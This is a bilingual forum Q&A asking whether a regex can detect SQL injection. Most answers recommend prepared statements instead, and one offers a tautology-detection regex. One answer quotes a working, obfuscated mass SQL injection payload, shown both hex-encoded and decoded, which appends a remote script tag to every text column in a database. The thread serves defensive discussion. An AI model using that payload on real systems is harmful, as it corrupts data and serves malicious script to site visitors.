用于检测 SQL 注入的正则表达式

发布于 2024-07-06 00:16:41 字数 54 浏览 9 评论 0原文

是否有正则表达式可以检测字符串中的 SQL? 有没有人有他们以前使用过的东西的样本可以分享?

Is there a Regular Expression that can detect SQL in a string? Does anyone have a sample of something that they have used before to share?

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(5

毁虫ゝ 2024-07-13 00:16:41

不要这样做。 你几乎肯定会失败。 请改用 PreparedStatement (或其等效项)。

Don't do it. You're practically guaranteed to fail. Use PreparedStatement (or its equivalent) instead.

青柠芒果 2024-07-13 00:16:41

使用存储过程或准备好的语句。 您将如何检测到这样的事情?

顺便说一句,不要运行这个:

   DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
   4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

这意味着:

( DECLARE Table_Cursor CURSOR FOR
    SELECT a.name,b.name FROM sysobjects a,syscolumns b 
    WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
    OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 
    WHILE(@@FETCH_STATUS=0) 
    BEGIN EXEC(
      'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=chkbnr.com/b.js></script>''') 
    FETCH NEXT FROM Table_Cursor INTO @T,@C 
  END 
  CLOSE Table_Cursor 
  DEALLOCATE Table_Cursor )

Use stored procedures or prepared statements. How will you detect something like this?

BTW do NOT run this:

   DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
   4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

Which translates to:

( DECLARE Table_Cursor CURSOR FOR
    SELECT a.name,b.name FROM sysobjects a,syscolumns b 
    WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
    OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 
    WHILE(@@FETCH_STATUS=0) 
    BEGIN EXEC(
      'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=chkbnr.com/b.js></script>''') 
    FETCH NEXT FROM Table_Cursor INTO @T,@C 
  END 
  CLOSE Table_Cursor 
  DEALLOCATE Table_Cursor )
海风掠过北极光 2024-07-13 00:16:41

避免出现问题,并将存储过程与准备好的语句或参数化查询一起使用。 无论如何,存储过程都是很好的实践,因为它们就像数据库的接口,因此您可以更改幕后(存储过程内)发生的事情,但签名保持不变。 准备好的语句有助于处理注入保护。

Save yourself problems and use stored procedures with prepared statements or parameterized queries. Stored procedures are good practice anyway, as they act like an interface to the database, so you can change what happens behind the scenes (inside the stored proc) but the signature remains the same. The prepared statements help take care of injection protection.

简美 2024-07-13 00:16:41

我没有正则表达式,但我的理解是最重要的是检测单引号。 所有的注入攻击都是从那里开始的。 他们可能也有 -- 来注释掉字符串后面的其他 SQL。

I don't have a regex but my understanding is that the most important thing is to detect the single quote. All the injection attacks start from there. They probably have the -- in there too to comment out and other SQL that might be after the string.

北座城市 2024-07-13 00:16:41

如前所述,最好使用准备好的语句。 您可能会争论强制由存储过程执行关键查询来强制使用准备调用。

无论如何,这里有一个简单的 grep 来检测 where 子句中的经典 n=n 整数; 它会跳过标记许多惰性查询构造函数使用的 1=1 AND,但会将其标记为 OR

((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4

当然可以改进以检测小数和字符串比较,但它是一种快速检测机制,与其他 grep 一样如ORD(MID(等。

在查询日志上使用它,例如mysql的通用日志

希望它有用

As said, it is better to use prepared statements. You could argue forcing key queries to be executed by a stored procedure to force the use of preparing the call.

Anyway, here is a simple grep to detect classic n=n integer in where clauses; it skips flagging the 1=1 used by many lazy query constructors for the AND, but will flag it for the OR

((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4

It could of course be improved to detect decimal and string comparisons, but it was a quick detection mechanism, along with other greps such as ORD(MID(, etc.

Use it on a query log, such as mysql's general log

Hope its useful

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文